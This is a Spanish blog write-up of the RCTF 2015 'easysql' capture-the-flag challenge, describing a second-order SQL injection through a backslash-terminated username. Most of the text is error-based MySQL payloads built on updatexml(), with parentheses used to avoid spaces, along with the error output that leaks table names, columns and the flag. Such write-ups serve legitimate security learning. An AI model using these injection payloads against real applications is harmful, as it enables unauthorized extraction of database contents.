Buenas!


Después de un tiempo sin actualizar el blog, volvemos a la carga con un writeup del RCTF 2015, que tuvo lugar este fin de semana.


Cabe destacar que easysql fue un reto muy poco resuelto, así que nos vino muy bien ya que tuvimos importantes bajas :-)


Sin más:


Como su nombre indica, el reto iba a consistir en SQL injection, así que nos pusimos manos a la obra.


Al entrar en la web, nos encontramos login y registro. Una vez creado un usuario, accedemos y vemos dos cosas:

  • Se listan 3 artículos a los que puedes acceder (más bien lo intuimos, porque todo el puñetero CTF estaba en chino :D)
  • Una sección para cambiar la contraseña

Bien, una vez comprobado que no hay SQL injection en ninguno de los dos, empezamos a jugar con los usuarios.

Creamos un usuario terminado en backslash (ej. "s3xnait\") y vemos que no hay ningun problema ni con el registro ni con el login, pero la sorpresa fue al intentar cambiar la contraseña:


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
for the right syntax near 's3xnait\" and pwd="730950ad798a77ad508aa9e2564d013f"' at line ...


Ok, ahora sabemos que utiliza comillas dobles en la sentencia. También sabemos que tiene que ser una sentencia UPDATE ya que estamos modificando la contraseña.


Como estamos en un medio de un WHERE en un UPDATE, no podemos hacer un UNION, así que para dumpear la información utilizamos una técnica XPath error-based mediante updatexml().



"or+updatexml(1,concat(0x7e,(version())),0)#+
XPATH syntax error: '~5.1.73'

Bingo! :D

Ahora procedemos a dumpear los nombres de las tablas:
"or+updatexml(1,group_concat(0x7e,(select+concat(table_name)+from+information_schema.tables+where+table_schema=database())),0)#+
Pero vemos que nos da SQL Syntax Error. Tras un par de pruebas, descubrimos que el caracter "+" en el SELECT es el problema, así que hacemos una consulta equivalente utilizando paréntesis:
"or+updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())),0)#+
XPATH syntax error: '~article,users,flag'
Genial, una tabla flag, pasamos a ver sus columnas:
"or+updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)=0x666c6167)),0)#+
XPATH syntax error: '~flag'

Lo tenemos!! Solo nos queda dumpear su contenido :D


"or+updatexml(1,concat(0x7e,(select(flag)from(flag))),0)#+
XPATH syntax error: '~RCTF{Good job! But flag not her'

OMG, tan emocionados que estábamos y no podía faltar el flag troll.. :(

Continuamos la búsqueda con la tabla de usuarios:

"or+updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)=0x7573657273)),0)#+
XPATH syntax error: '~name,pwd,email,real_flag_1s_her'
Bien! Ya sabemos donde mirar:
"or+updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))),0)#+
XPATH syntax error: '~xxx,xxx,xxx,xxx,xxx,xxx,xxx,RCT'

Arg, en el error solo podemos llegar a ver 32 caracteres y el flag está al final.. Además no podemos hacer limit ya que este sí que requiere un espacio (no se puede lograr con paréntesis).

Por otra parte, en el resto de entradas contiene "xxx", así que resolvemos:

"or+updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)!=0x787878)),0)#+
XPATH syntax error: '~RCTF{sql_1njecti0n_is_f4n_6666}'


Esperamos que os haya gustado, para nosotros estuvo entretenido! :-D



Saludos insanos!!